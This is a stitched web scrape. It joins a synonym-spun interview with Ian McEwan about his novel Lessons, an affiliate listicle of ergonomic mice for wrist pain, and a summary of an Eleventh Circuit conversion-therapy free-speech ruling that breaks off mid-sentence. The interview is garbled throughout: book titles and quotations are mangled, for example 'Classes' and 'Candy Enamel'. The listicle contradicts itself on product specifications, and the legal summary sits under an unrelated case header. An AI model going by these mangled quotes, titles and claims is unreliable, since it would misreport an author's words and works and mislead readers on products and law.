“I’ve all the time felt moderately green with envy of writers like Dickens, Saul Bellow, John Updike and plenty of others, who simply plunder their very own lives for his or her novels,” he explains. “I believed, now I’m going to plunder my very own lifestyles, I’m going to be shameless.” Prior to readers think that he was once abused as a boy, or went via any of the misfortunes that befall Roland, portions of McEwan’s previous are fictionalised and “interwoven” with the narrative. “It’s definitely my maximum autobiographical novel, however on the identical time, Roland isn’t me. He didn’t lead my lifestyles,” McEwan explains. “However in some way he lives the lifestyles I may have led. All folks have those moments, once we take into consideration them later, the place we may have long gone down another trail. I may so simply no longer have transform a author.” Whilst McEwan’s earlier historic novels have zoomed in on particular sessions – unforgettably the second one international warfare (Atonement), the chilly warfare (Candy Enamel, Black Canine, The Blameless), the 80s (Machines Like Me) and post-9/11 (Saturday) – Classes marches throughout the political panorama of postwar Britain, taking in Thatcherism, New Labour (Tony Blair with “his copious hair, just right enamel, an vigorous stride”) to the brand new populism (Trump and Johnson are pointedly unnamed). He wasn’t aiming to put in writing the British identical of the Nice American Novel: “We don’t have that phantom bearing a whip that American writers have.” As a substitute he sought after to turn how the movements of the ones “all too human gods”, our political leaders, can wreak havoc on mere mortals: “a work of mud because it have been from their heels flies to your eyes”. The outlet segment, a minutely performed out “affair” between the younger Roland and his 25-year-old piano trainer at boarding college (much like the only the writer attended), which Roland ony later realises was once abuse, is antique McEwan: psychologically gripping, erotically intense and morally troubling. Getting ready to the Cuban missile disaster, the one query amongst Roland’s classmates after lighting out within the dormitory was once what if the arena ended “sooner than you had it? It.” Roland isn’t about to take any possibilities: chasing up overtures made by means of the seductive Miriam, he fetches up at her entrance door. The pair embark on a summer season of “throbbing” duets and Lawrentian allusions. “This was once what the distant belligerent gods, Khrushchev and Kennedy, had organized for him,” Roland displays helplessly. This tale was once no longer, McEwan makes transparent, drawn from his personal lifestyles, however from an deserted previous novel, a part of which was On Chesil Seaside, additionally set in 1962. Having taken at the greatest fresh problems – the local weather emergency as comedy in Sun (2010), synthetic intelligence in Machines Like Me (2019) – it was once just a topic of time sooner than McEwan grew to become his dark-seeking antenna to the topic of historic kid abuse. He admires Zoë Heller’s 2003 novel Notes on a Scandal, a few dating between a trainer and one in all her pupils. However the choice to have a feminine abuser was once no longer merely McEwanesque contrarianism. “I sought after to put in writing it from the standpoint of the sufferer, to turn the results for the remainder of the lifestyles,” he says. “However I didn’t wish to suitable a girl’s studies.” McEwan hadn’t supposed to put in writing about his kin historical past, however his discovery in 2002 of a brother, David Sharp, a bricklayer, was once so tough a demonstration of the unconventional’s central concept that he discovered he “couldn’t step away”. His folks got here from “very deficient, hard-working households”: each left college at 14, his father, David (Robert in Classes), to transform a butcher boy, sooner than becoming a member of the military, the place he labored his method as much as primary; his mom, Rose, went into carrier as a chambermaid. They met when his father was once coaching in Aldershot and his mom was once already married. After her first husband was once killed combating they married, however by no means reclaimed the child who have been born because of their wartime romance. “Sought after, House for child boy, age 1 month; whole give up”, reads the heartbreaking commercial his mom put within the paper providing her illegitimate kid for adoption. McEwan’s father, together with his Brylcreem and “spit-and-polish” techniques, in addition to the frustrations “of a extremely smart guy disadvantaged of formal training”, which resulted in ingesting and continuously violent anger, and his mom’s nervousness and unexplained unhappiness, “all that simply fell directly to the web page”. By the point the name of the game was once in any case printed, his father was once useless and his mom was once within the past due levels of dementia. “My mom was once fearful, apprehensive and unhappy as an individual,” he says now. “There could be moments when she’d chill out and snicker, however I feel this topic hung over her all her lifestyles.” When the tale was information in 2007, it was once broadly described as “like one thing out of an Ian McEwan novel”. Now it’s. As a boy in Libya, rising up “in an difficult to understand crevice of historical past”, as he places it within the novel, the Suez disaster gave the younger McEwan his first style of freedom and journey, when he spent a “rapturous two weeks” at an army camp, an enjoy he offers to Roland. “It was once simply bliss,” he says now. “The lengthy shadow or the sunshine it solid over the remainder of my lifestyles intended I by no means sought after a full-time task.” This was transparent to him after a discuss with to the careers administrative center on the College of Sussex, when he was once offered with a chart of civil carrier wage scales from 22 to retirement: “Simply taking a look at that, I knew I may by no means do anything else like that. Ever.” Roland’s peripatetic grownup lifestyles unfolds along his early life. It’s 1986 and Roland is in his mid-30s. There’s a hosepipe ban and ominous information of a radiation cloud from Chernobyl. Roland’s spouse, Alissa, has abruptly abandoned him and their seven-month-old son to go back to her local Germany to fulfil her ambition to transform “the best novelist of her technology”. “I’ve learn such a lot of literary biographies of guys behaving badly and destroying their marriages in pursuit in their top artwork. I sought after to put in writing a singular that was once partially the tale of a girl who is totally thinking about what she needs to succeed in, and has the similar ruthlessness however is judged by means of other requirements,” he explains. “In the event you learn Doris Lessing’s cuttings they are going to unfailingly let you know that she left a kid in Rhodesia.” Whilst McEwan was once by no means left to deliver up a toddler single-handed, each his sons lived with him from their early teenagers after a messy custody fight together with his first spouse. In contrast to Alissa, he by no means felt “it was once both/or” in the case of his writing. His administrative center door was once all the time open – “If youngsters come out and in, they abruptly in finding it’s very dull” – and he would paintings within the college hours. “There’s no messing round, there’s no 3rd cup of espresso,” he says. Nowadays he helps to keep the door of his find out about, a transformed barn, open for his sheepdog, who additionally loves to wander in. He works on two desks – an previous kitchen desk and a headmaster’s table he picked up in a junk store in London within the 70s – one reserved for the display and one for longhand. He maintains the previous disciplines: “Do an hour, then empty the dishwasher,” he advises firmly. Decline and demise inevitably creep into the overall segment of the unconventional. “I’ve had such a lot of pals die of most cancers,” he says, “the difficult closing 3 years, the intrusiveness of the remedy.” He sought after to pay tribute to their “wonderful bravery” and “improbable sense of goal”. He has additionally misplaced many of us to much less mentioned smoking-related diseases, he provides ruefully: his father; Malcolm Bradbury, his ingenious writing trainer at UEA; Ian Hamilton, his editor on the New Assessment; and he was once at Hitchens’s bedside in a while sooner than he died. He compares growing old to forcing a automobile: “The automobile is your frame and at some point you understand the wing replicate has come off. And anyone’s taken the entrance bumper away within the night time, and the passenger aspect door now not opens. Then there’s systemic trade after all.” Rushdie’s age makes the assault in particular merciless, he says once we discuss later. “Other folks use the ‘word life-changing accidents’. That is very difficult at 75. Being 75 is life-changing sufficient. It’ll take a just right whilst for him to get to the opposite aspect of this and face the brand new more or less lifestyles.” Does he concern about his personal legacy? “I don’t know, possibly.” In truth? “Sure. I’d love to proceed to be learn, after all. However once more, that’s fully out of 1’s keep an eye on. I used to assume that almost all writers once they die, they sink right into a 10-year obscurity after which they jump again. However I’ve had sufficient pals die greater than 10 years in the past, and so they haven’t reappeared. I believe like sending them an e-mail again to their previous to mention, ‘Get started being worried about your legacy as it’s no longer taking a look just right from right here.’” He was once a great deal saddened by means of what he describes as “the attack on Updike’s recognition”; for him, the Rabbit tetralogy is the nice American novel. Saul Bellow, every other hero, has suffered a identical destiny for a similar causes, he says. “The ones problematic males who wrote about intercourse – Roth, Updike, Bellow and plenty of others.” For sure the reputations of his technology, lots of them the self-styled British disciples of the ones problematic American males, none of whom were shy about writing about intercourse, now appear in a similar fashion precarious? “We’ve transform so tortured about writing about need. It’s were given all so advanced,” he says. “However we will’t faux it doesn’t exist. Want is among the colossal awkward topics of literature, whether or not it’s Flaubert you’re studying and even Jane Austen. Other folks will probably be pressured, they’ll simply have to put in writing about it.” He remembers being attentive to a tender author at the radio who mentioned how tricky it’s to put in writing about male need. “I believed, oh, deficient child.” McEwan, like Alissa within the novel, was once criticised for feedback about gender on the finish of a speech on identification on the Royal Establishment in 2016. “I mentioned: ‘Name me out of date, however I have a tendency to consider the general public with penises as males,” he remembers now. “I did say maximum males, I didn’t say all.” He was once accused of inciting violence towards transgender other folks. “Violence!” he exclaims now. You will need to withstand the temptation to assume “since you’re coming to an finish, due to this fact the arena is”, he cautions. “Nevertheless it’s very, very tempting.” He unearths it “chastening” that many younger other folks additionally really feel anxious concerning the long run, “and timid within the face of historical past. There’s no large venture, because it have been, for a brand new more or less society.” He worries concerning the go back of Trump, or anyone “even worse”, he says. “We might be taking a look at an overly authoritarian state, that would more than likely swing it so the Democrats are by no means in energy once more.” He not too long ago set himself the problem of writing a brief tale wherein he needed to be constructive concerning the long run as much as 2060 (there are “a few strategic nuclear explosions” – cheery). “I believed, am I simply writing a scrumptious fable? That previous pronouncing that almost all issues aren’t as dangerous as you concern?” However he’s reluctant to make any actual predictions. “The sector is so hooked up now it’s like a large thoughts,” he displays. “And simply as with our personal minds, or with our personal fates, we will by no means are expecting what we’re going to do subsequent jointly.” If there’s a lesson to be discovered from the brand new novel, it’s that true convenience and happiness are to be discovered at house, and Classes is touching at the quiet consolations of domesticity. One of the most few compensations for buying previous, he says, is changing into a grandparent. Like Roland, McEwan is a doting grandfather (he has 4 grandchildren). “Simply whilst you assume that you just’re by no means going to fulfill any person new, you could have this love affair,” he says. “There’s every other explosion of affection in later lifestyles.” Even having “plundered” his lifestyles for Classes, he doesn’t rule out writing a simple memoir: “I stay pronouncing I will be able to after which I don’t.” He’s a company believer in what, borrowing VS Pritchett’s word, he likes to name “productive indolence” between novels: “I simply learn and soak issues up.” His largest excitement when he isn’t writing is strolling. Over time he has hiked everywhere the arena, particularly throughout The united states. However he by no means feels without spending a dime in the USA. One of the most issues he maximum loves about England is the footpaths, “traditionally laid down over the centuries. Each village roughly is attached; in each and every the city, in the event you stroll to the brink of it there’s a footpath.” He continuously hikes with an in depth pal with a bottle of fine purple wine in his rucksack. “To be top on a ridge with a tumbler of wine to your hand completely transforms the panorama,” he says taking a look wistfully into the space. “All at once it’s your huge drawing room. It’s your area.”

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It is time to say goodbye to wrist pain! The reputable brands in the market offer a wide range of ergonomic mice to offer comfort and support to the wrist and prevent any sort of injury for daily computer work. Prolonged use of regular mouse has been identified as one of the causes for carpal tunnel, Gout, and other issues. Are you having one of those issues? So, switching to the best ergonomic mouse for wrist pain can significantly reduce the chance of developing such problems. Regular mouse does not have any orientation and does not offer an ergonomic posture that can provide comfort to those who work for extended periods of time. However, here you can find the most affordable, durable, and portable ergonomic mouse with a little research that is worth spending on. Are you ready to get your hands on the best computer mouse models? Let’s move on to our well-researched list. At a Glance: What Key Components Should be in An Ergonomic Mouse? - An ergonomic mouse should have a comfortable grip to work with it without resistance or discomfort for long hours. - The buttons on the mouse should be soft and smooth so that they don’t get pressed unintentionally while working. - It should also have an adjustable DPI to enable the users to change the mouse sensitivity settings. - A back and forward mouse button should be present on either side of it to facilitate quick browsing and avoid unnecessary scrolling. - Try to look for a wireless mouse that enables you to work from a distance without any wire restrictions. Our Recommendations About Best Ergonomic Mouse For Wrist Pain Best Ergonomic Mouse For Wrist Pain cycle Battery Reviews in 2022: The following is the list of the best Ergonomic mouse to choose from. Let’s have a look below. Perixx PERIMICE-713 Wireless Ergonomic Vertical MouseBest Pick The Perixx PERIMICE-713 Wireless Ergonomic Vertical Mouse is the perfect solution for this problem since it offers your hands an ergonomic grip while also reducing wrist strain through its vertical orientation. It comes with three adjustable levels of DPI sensitivity, so you have more control over the speed at which you move the mouse pointer on your screen. This wireless 2.4GHz ergonomic vertical mouse provides up to 10 meters range operation distance and consumes minimal power, making it a good investment for home users and businesses where multiple employees work together in one computer set up. Moreover, the nano USB receiver is located conveniently at the bottom of the mouse, and it is compatible with Windows 7, 8, and 10. Product Highlights: - It is designed for right-handed users that promotes a more natural position while using the mouse for long-lasting comfort. - Computer mouse sensitivity can be changed with the DPI control button as it has adjustable 3 DPI levels of the 800/ 1200 (default)/ 1600. Final Verdict: So if you’re looking for a wireless vertical ergonomic mouse that offers a comfy position and incredible comfort to your wrist while working on your computer, then be sure to give priority to Perixx PERIMICE-713 Wireless, as it is equipped with all the necessary features for an effective user experience. Pros - There is no need for a mouse pad - Wireless and portable - Power-saving function for battery preservation - Works on multiple platforms Cons - The button placement is a bit weird - Charging time is a bit long LEKVEY Wireless Vertical Ergonomic MouseStaff Pick Lekvey presents the best vertical ergonomic mouse, which is wireless. It fits the palm and is suitable for medium hands. The DPI level can be adjusted as per user comfort. It has a built-in long battery life and is rechargeable. So this eliminates the need to buy batteries regularly, which will save you money in the long run. Moreover, it has a nano receiver, so connecting is no inconvenience. With the page forward button, browsing pages is easy if you are surfing. Also, this mouse is compatible with Windows 2000/XP/Vista/7/8/10 and Linux. Overall, it’s a good investment at its rate. Product Highlights: - Mouse adjusts sensitivity to your needs with 800/1200/1600 DPI adjustable levels. - High capacity rechargeable battery with a USB charging cable included with your purchase. Final Verdict: The best ergonomic mouse for wrist pain would be the one that corrects our poor posture. If you face wrist pain or carpal tunnel problems, then the Lekvey Vertical mouse is for you, and it will facilitate your health too. Moreover, the DPI level can be adjusted to suit varying preferences & wireless features, making it convenient, so it’s a great investment. Pros - Plug and play mouse - High-capacity rechargeable battery - Precise tracking - Maintains neutral position Cons - Receiver storage is in an awkward location - Not compatible with Mac OS, Apple Products Logitech MX Ergo – Wireless Trackball MouseBudget Pick Are you looking for the best wireless thumb-controlled trackball mouse for wrist pain? If so, then it’s time to try out the Logitech MX Ergo Wireless Trackball Mouse. It has a symmetrical trackball that is designed so you can comfortably perform any office task while helping provide a more relaxed wrist position like an apple magic mouse. Of course, this device has some additional features that distinguish it from other wireless trackballs currently on the market. Its cross-computer control feature allows you to move around between two computers by simply pressing one button. Its minimal and maximal value is 512-2048 DPI. It can also be paired more easily with Bluetooth technology, and its rechargeable battery lets you use the trackball for up to 70 days on a single charge. Product Highlights: - The unique adjustable hinge allows you to customize the trackball angle from 0 to 20 degrees for a more natural, comfortable hand position. - Use with up to 3 Windows or Mac computers via Logitech unifying receiver or Bluetooth smart wireless technology. Final Verdict: Logitech MX Ergonomic Horizontal mouse for wrist pain is one of the best trackball mice that you can buy. It provides a more relaxed wrist position and has excellent connection features to meet all your needs. By just turning the angle of this ball, you will be able to reduce the risk of carpal tunnel syndrome and other kinds of strain that result from repeated mouse movements. Pros - Ergonomic sculpted design. - Dual connectivity. - Low power consumption. - Precision scroll wheel tilt. Cons - A bit expensive comparatively. - A bit heavy. Anker 2.4G Wireless Ergonomic Vertical Optical Mouse Now get rid of your old uncomfortable mouse with the new Anker 2.4G Wireless ergonomic vertical mouse. It is best for people with wrist pain because it offers neutral or ‘handshake’ positioning. The optical tracking technology provides excellent performance on a wide range of surfaces like wood, glass, or marble table-tops without any hassle. The 800, 1200, and 1600 DPI resolution gives a high level of precision. If you want to make use of another mouse from now on, you should know that it is supported by Windows XP, Vista, 7, 8, and Mac, and it requires two AAA batteries that last for a long time. You can easily purchase this product from Amazon and get an 18-month hassle-free replacement warranty. Product Highlights: - The product weight is 3.4 oz, so it is easy to carry and use. - The added next/previous buttons enable to move between webpages forward or backward with ease. Final Verdict: Anker 2.4G Wireless Vertical Ergonomic Optical Mouse is great for people who suffer from wrist aches. When it comes to sensitivity, this mouse offers three options so that you can find what works best on any surface. The sleek design of this mouse makes it easy to take with you on the go. Pros - This ergonomic model reduces wrist strain - Optical tracking works on a wide range of surfaces - Buttons provide convenience for webpage browsing - Power saving mode ensures extended battery life Cons - Some users might not like the vertical orientation of this mouse - It may take some time to get used to Mouse, Dark Silver Logitech Trackman Marble mouse emphasizes the ergonomic shape and is easy to use. With its large and easy-to-reach buttons, your productivity and efficiency are guaranteed. When surfing the web or doing document editing, it is essential that the mouse can do accurate tracking across different screen surfaces. This wired mouse runs on a Logitech 2.4 GHz wireless technology, giving you a maximum of 10 meters (33 feet) range away from its receiver without losing connection. This ergonomic mouse also has built-in Macros for Logitech’s free control center software that lets you customize button actions, cursor speed, scrolling speed using presets or assign up to 7 actions per profile. Product Highlights: - This wired mouse is compatible with Windows XP, Windows Vista, Windows 7, and Windows 8. - You have the option of using it left-handed or right-handed. Final Verdict: The Logitech Trackman Marble is the best Trackball Mouse that allows you to work without straining your wrist. The buttons are easy to press, and it runs smoothly. It’s an excellent product for anyone who spends a lot of time working on the computer, but it can also be used to play games. Pros - Ambidextrous trackball design - Scroll wheel with tactile feedback - 4 customizable buttons - Better than Logitech MX vertical mouse Cons - Lacks a few advanced features - Quite heavy for a trackball ECHTPower Rechargeable Ergonomic Mouse ECHTPower Rechargeable Ergonomic Vertical Mouse can reduce wrist pain and make your hand more comfortable. This vertical mouse is dedicated to improving and reducing hand fatigue. It can keep the wrist and forearm in a healthy posture, reduce muscle strain, and effectively improve the wrist pain caused by using the mouse for a long time. It can be used continuously for up to 120 hours on a single charge. The 3-level adjustable DPI can meet all your daily needs, which is suitable for office, entertainment, games, and so on. The mouse supports various devices with a USB interface (such as PC, laptop, mac, and other devices). There is a Nano USB receiver at the bottom of the mouse, so there is no need to install any drivers, just plug and play. Product Highlights: - White LED battery indicator light blinks when charging and turns to solid blue light when fully charged. - The wireless receiver can be stored in the battery compartment for easy storage and transportation. Final Verdict: The ECHT Power Vertical Ergonomic Mouse is perfect for anyone who spends hours in front of a computer and has trouble using other various traditional mice due to wrist pain. The ergonomic design keeps the wrist and forearm in a healthy posture, reducing muscle strain. Plug and Play technology allows it to connect easily to any device, making it a perfect choice. Pros - Prevents wrist and forearm pain - Long battery life - Plug and play, no drivers needed - Wide-ranging compatibility Cons - No Bluetooth - It doesn’t work on some surfaces ASOI DOOMIER 2.4G Wireless Vertical Ergonomic Optical Mouse Asoi Doomier Ergonomic Wireless Vertical Mouse comes with advanced ergonomics that reduce wrist pain and better performance. The detachable palm rest makes it comfortable for your hand. It also comes up with 3DPI adjustable levels, 800/1200/1600, which help you play games, work on graphics, etc. It offers a stable connection with less noise of click makes it perfect. Its 6 buttons and 15g of weight also add power to the performance you can expect from the best mouse. It is compatible with Windows 2000, XP, Vista, 7/8/10, and Linux. The USB receiver at the bottom acts as a charging port, so there is no need for a charger or Bluetooth pairing device. Moreover, the power-saving mode can save your battery and avoid interference with other wireless devices. Product Highlights: - The receiver is attached to the bottom of the mouse and battery storage position. - It contains two batteries, so no worries about battery life. Final Verdict: You can feel a real difference in how your hand feels after using Asoi Doomier Ergonomic best ergonomic mouse for wrist pain. It’s very easy to use, fits comfortably in hand, and makes less noise than other mice. You will absolutely love the adjustable DPI button; you can tailor it exactly to what you’re doing. Pros - Comfortable mouse sensitivity - Power saving mode after 8 minutes - No need for additional wires - Cheap price for a great product Cons - Not for large hands. - There is no option to change the angle of the thumb rest BKLNOG Wireless Vertical Ergonomic Mouse with Wrist Support Pad The Bklnog’s new-gen vertical mouse comes with an ergonomically sculpted shape that keeps your hand in the least stressed handshake position, significantly reducing the wrist and forearm strains compared to using a traditional mouse which is especially helpful for CTS and RSI sufferers. Its curved surface design provides exclusive spots for every finger movement, and its rubberized coating ensures better gripping and control of cursor movements. It is assembled with a 2.4Ghz wireless optical sensor with the most common 800, 1200, and 1600 DPI levels and a hibernation system when the mouse is not in use, ensuring long battery life. It also comes with an optional wrist rest pad for ultimate comfort, which you can switch to anytime if you want to use the mouse more flexibly. Product Highlights: - A 2.4GHz wireless optical sensor ensures high-performance tracking. - The hibernation system prevents the mouse from draining power when not in use. Final Verdict: The best part of all is that the BKLNOG vertical mouse is very easy to use, and an 18-month warranty backs it. So you can feel safe buying this product. With its awesome features, it will be no wonder if this vertical ergonomic mouse becomes a big hit! Pros - Exclusive spots for finger pain - Detachable wrist rest mouse pad included - High-performance tracing - Ensure easy hand movement - Guaranteed Satisfaction Cons - Requires AAA batteries - Some people may not like the shape LEKVEY Rechargeable Ergonomic Mouse, Vertical Wireless Mouse Lekvey Vertical Wireless Mouse contains a scientific ergonomic design to keep the wrist and forearm in a true 45-degree “handshake” position to prevent wrist strain from prolonged use. This mouse has rechargeable batteries, so you never have to buy batteries again! Also, it has very convenient buttons, especially “back” and “forward,” which provide convenience when web browsing. It has 800/1200/1600DPI, which is adjustable to any situation. This mouse is widely compatible with Windows 2000 / XP / Vista 7, 8, 10, and other systems like Linux, even Mac OS. The clicking noise is quite less than the normal vertical mouse you may have used before. Moreover, you can replace or refund it with its 24-month product warranty. Product Highlights: - It comes with a built-in rechargeable battery; no need to buy batteries. - Multifunction and convenient due to Page Back and Page Forward buttons. Final Verdict: The LEKVEY Vertical Wireless Mouse is a classic example of an ergonomic mouse that can help you get rid of wrist pain. The advanced ergonomic design provides an exceptional work experience that will make you feel relaxed and comfortable when operating the mouse. Pros - Ergonomic design, easy to use - Rechargeable battery with a stable signal - Suitable for the majority of daily work and play situations. - High sensitivity that can be adjusted on demand Cons - The mouse has a larger footprint than a standard mouse - Some users may take time to adjust to the new design IClever Ergonomic Mouse – Wireless Vertical Mouse iClever Ergonomic mouse can help prevent potential injury or strain on your hand/wrist during a long time of use. It’s comfortable to hold, the premium side ridges give you a firm grip of the mouse, plus there is also an added rubber support at the bottom that prevents the wrist from moving up and down, which can cause pain. This wireless vertical mouse with adjustable DPI saves you from the trouble of going through different sensitivity modes whenever you need higher precision. You can even switch between vertical or horizontal orientation if it’s more convenient for you. Moreover, 5 slide pads bulge out from the bottom to ensure you can move the wireless vertical mouse smoothly without any cursor shaking, and every of your movement will be tracked precisely. Product Highlights: - The 1600 dpi sensor provides accuracy and fluency without jittering. - The ambient lighting on the wireless vertical mouse is adjustable for a personalized style. Final Verdict: All in all, the iClever ergonomic mouse is an excellent option for anyone having to use the computer for long periods. It provides a high level of comfort, ease of use, and precision. With its user-friendly design, it will be the perfect pick for your work or study. Pros - Backward/Forward Web Browsing Button - Great price for the money - Whisper Quiet Click for Comfortable Experience - Adjustable Brightness for Personalized Style Cons - The wireless range is too short - Only One Charging Port Considerations For Buying The Best Ergonomic Mouse: The following are considerations for purchasing the best ergonomic mouse to reduce wrist pain. Let’s give it a quick read! Design & Type: Make sure the type of mouse you are buying suits your specific requirements. For instance, if you have an office job, then you need a mouse for wrist pain, but if your work involves more physical activity, then you might want to consider a trackball mouse or wireless mice. There are also ergonomic mice specifically designed for gamers. Additional Features: Choose a mouse with a good sensor and adjustable settings if you work on computers of different speeds or use old equipment. You can also focus on a vertical ergonomic design to reduce the pressure on your wrist or customizable buttons that can be programmed for specific functions in different applications. Battery Life: Some computer mice have batteries that need to be charged, but others don’t use batteries at all. Instead, they use a cable or RF technology. So, it’s up to your choice. Scroll Wheel: The scroll wheel is located between the left-click and right-click buttons that allow users to quickly navigate through documents or web pages. Power Saving Mode: If you don’t intend to use your mouse for an extended period of time, press the power saving button so that you don’t experience any inconvenience when using it next time. DPI Switch: If you prefer to buy a gaming mouse, go for a high dpi mouse because it will help you aim better. The dpi value stands for dots per inch and basically tells us how fast a mouse can track a movement. Cursor Speed: The way a normal mouse gains control over cursor movement also matters. Mice have distinct cursor speeds, and if you feel that your current mouse isn’t good enough to move the cursor in the direction you want, then purchase one with a better cursor speed. Mouse Sensitivity: This feature is found in gaming mice and wireless computer mice only. It lets you set the sensitivity of movement for your pointer, which is an advantage when playing games that require you to move very quickly. Bottom Line Ergonomic mice are a good investment because they can help reduce wrist pain to a large extent. These mice use the natural contours of the hand to provide comfortable support in your hands. Out of all the choices available, the Perixx PERIMICE-713 Wireless Ergonomic Vertical Mouse is your best choice because it offers excellent value for money and has numerous features that enhance its usability. Otherwise, you can go for any of the mentioned options. Frequently Asked Questions How Do I Stop My Wrist From Hurting When I Use a Mouse? One of the most common causes of wrist pain when using a mouse is improper positioning. The best way to avoid this is to use an ergonomic mouse that has adjustable grips and buttons in the correct locations for your hands. Do Vertical Mice Help Wrist Pain? Vertical mice are a popular ergonomic solution that has been shown to reduce strain on the wrist because they take the angle of your hand out of the equation. There are several different vertical mouse models, so it’s a good idea to do some research before deciding which one is right for you. Are Ergonomic Mice Good For Carpal Tunnel? As the name suggests, ergonomic mice are designed to reduce stress and discomfort, especially on the wrist. This is one of the factors that make them suitable for carpal tunnel syndrome and repetitive strain injury. The best ergonomic mice for such issues are those that support your wrist and align with the natural shape of your hand. Do You Need Wrist Support With An Ergonomic Mouse? Wrist support is beneficial for reducing wrist pain when using an ergonomic mouse. Mouse wrist rests are available to provide extra comfort and relieve some pressure on your wrists while working.

Content Regulation / Censorship Loughran v. Century Newspapers Ltd United Kingdom REGISTER NOW: Join us on October 3 & 4 for the “Regulating the Online Public Sphere: From Decentralized Networks to Public Regulation” conference Decision Pending Court of Appeals for the Eleventh Circuit held that county and city ordinances in Florida which banned the use of a controversial therapy practice infringed the First Amendment’s protection of free speech. The ordinances which prohibited licensed therapists and counselors from administering speech-based SOCE (sexual orientation change efforts) therapy to minor patients had been challenged by two therapists. The District Court denied their motion for an injunction on the grounds that they had failed to demonstrate a substantial likelihood of success on the merits and failed to show irreparable harm would result if an injunction was not granted. The Court of Appeals overturned the District Court’s decision, holding that as the ordinances were content-based restrictions of speech they had to pass strict scrutiny and that they did not meet this standard. The Court emphasized that the government cannot regulate unpopular viewpoints and impose the majority view on controversial issues such as SOCE therapy, and that “[f]orbidding the government from choosing favored and disfavored messages is at the core of the First Amendment’s free-speech guarantee” [p. 7]. In 2017, both the Palm Beach County of Florida and the City of Boca Raton passed ordinances which prohibited the use of controversial Sexual Orientation Change Efforts (SOCE) therapy, colloquially known as “conversion therapy”. The ordinances were motivated by the County and City’s belief that SOCE therapy endangers the health of minors by increasing risks of depression and suicide. The City ordinance applied to “any person who is licensed by the State of Florida to provide professional counseling” and banned treatment of minors with “any counseling, practice or treatment performed with the goal of changing an individual’s sexual orientation or gender identity, including, but not limited to, efforts to change behaviors, gender identity, or gender expression, or to eliminate or reduce sexual or romantic attractions or feelings toward individuals of the same gender or sex” [p. 3]. The County ordinance had a similar definition of providers, and banned “the practice of seeking to change an individual’s sexual orientation or gender identity, including but not limited to efforts to change behaviors, gender identity, or gender expressions or to eliminate or reduce sexual or romantic attractions or feelings toward individuals of the same gender or sex” [p. 3]. The ordinances did allow for counselling which would provide “support and assistance to a person undergoing gender transition” [p. 3]. Robert W. Otto and Julie H. Hamilton, two licensed family and marriage therapists who practiced in Palm Beach County, including in Boca Raton, worked with counselling minors who had “unwanted same-sex attraction or unwanted gender identity issues” through purely speech-based therapy [p. 3]. Otto and Hamilton argued that their practice did not seek to “change” a person’s sexual orientation but to help those who experienced depression or anxiety about their sexuality or gender in order to reduce their same-sex behaviour and attraction if they wanted to do so, and to dispel confusion regarding gender identity. Such therapy was supposed to be “voluntary and client-directed” [p. 4]. Otto and Hamilton filed a suit in the District Court of the Southern District of Florida for a permanent enjoinment of the enforcement of the ordinances. They also moved for a preliminary injunction on the grounds of a violation of their First Amendment rights, and the pre-emption of the ordinance by state law [p. 4]. The District Court denied their motion for an injunction, finding that Otto and Hamilton had failed to demonstrate both a substantial likelihood of success on the merits of the case and irreparable harm. With respect to the Free Speech Clause of the First Amendment, the Court noted that the law was unsettled on whether the facts of the case had to be reviewed on a rational basis review, through a demonstration of the irrationality or unreasonableness of the enactment of the ordinances, or by a standard of immediate scrutiny (where it would be examined if the government was protecting a compelling public interest and the restrictions were narrowly tailored to achieve that). The Court held that the ordinances were not typical content-based restrictions as there were no public forum restrictions, and speech was regulated only if it fell within the bounds of a specified type of therapy. The Court also found that a compelling public interest existed in the protection of the well-being of minors, and the evidence of risks of harm in SOCE therapy. It observed that it was not bound to determine or apply the appropriate standard of scrutiny at the stage of considering a preliminary injunction because the plaintiffs bore the burden of demonstrating a substantial likelihood of success on the merits at the trial stage, and they had failed to do this. The District Court further found that Otto and Hamilton had not shown a substantial likelihood of success on their claims of prior restraint and vagueness, and had not proved the possibility of irreparable injury if an injunction was not granted. Otto and Hamilton then filed an interlocutory appeal with the Eleventh Circuit Court of Appeals. The First Amendment to the US Constitution states that “Congress shall make no law … abridging the freedom of speech”. Judge Grant delivered the judgment on behalf of the majority for the Court of Appeals for the Eleventh Circuit. Judge Martin delivered a dissenting judgment. The central issue before the Court was to review the District Court’s denial of a preliminary injunction, and the Court noted that this case turned on what the First Amendment allowed the government to ban and under what circumstances. Otto and Hamilton argued that the ordinances infringed the First Amendment because they restrict “speech-based therapy because the local governments disagree with the message, ideas, subject matter, and content of the words spoken during their clients’ therapy” and so violate the principle that “each person should decide for himself or herself the ideas and beliefs deserving of expression, consideration, and adherence” [p. 5-6]. The governments of Palm Beach County and the City of Boco Rotan argued that “their only intention is to protect minors from the harm that is surely caused by that speech” and submitted that because the speech-based therapy constitutes profession speech or conduct they are empowered to limit that speech [p. 6]. The Court noted that a preliminary injunction is an “extraordinary and drastic remedy” and the party moving the application should demonstrate.” [p. 5]. The Court made three kinds of examinations under the First Amendment Claims: whether the ordinances were content-based regulations; whether the ordinances were regulations for professional conduct; and whether the ordinances met a strict standard of scrutiny. In respect of Otto and Hamilton’s First Amendment claim, the Court stated that it had to first determine if the ordinances were content-based regulations, and if they were then they would be subjected to strict scrutiny (and not intermediate scrutiny or rational basis review). The Court held that “because the ordinances depend on what is said, they are content-based restrictions that must receive strict scrutiny” [p. 6]. The Court rejected the governments’ arguments that the ordinances constituted professional regulations and noted that “[t]he Supreme Court has consistently rejected attempts to set aside the dangers of content-based speech regulation in professional settings” [p. 6]. The Court also rejected the governments’ argument that the ordinances regulated conduct and not speech, and stated that “[o]ur Court, though, has already rejected the practice of relabeling controversial speech as conduct” [p. 7]. The Court referred to the case of Reed v. Town of Gilbert, 576 U.S. 155, 163 (2015) in noting that by applying strict scrutiny to a content-based restriction requires the Court asking whether the restrictions are “narrowly tailored to serve compelling state interests” [p. 7]. It noted that government laws seldom pass this test and commented that “[f]orbidding the government from choosing favored and disfavored messages is at the core of the First Amendment’s free-speech guarantee” [p. 7]. In examining whether the ordinances were content-based regulations, the Court emphasized that content-based regulations are “presumptively invalid” because the First Amendment takes away power from the government to restrict expressions based on their message, ideas, subject-matter or content. It noted that the purpose of the restriction is not relevant, and that Courts must instead examine the effect – “whether it restricts or penalizes speech on the basis of that speech’s content” [p. 8]. The Court referred to the case of McCullen v. Coakley, 573 U.S. 464, 479 (2014), and commented that one way to determine if the restriction is content-based is to ask whether “enforcement authorities must ‘examine the content of the message that is conveyed’ to know whether the law has been violated” [p. 9]. In the present case, the Court held the regulations could not be applied without examining the content of the speech as therapists were prohibited from sharing certain messages during therapy. Accordingly, the Court held that the ordinances were discriminatory on the grounds of content and viewpoint on 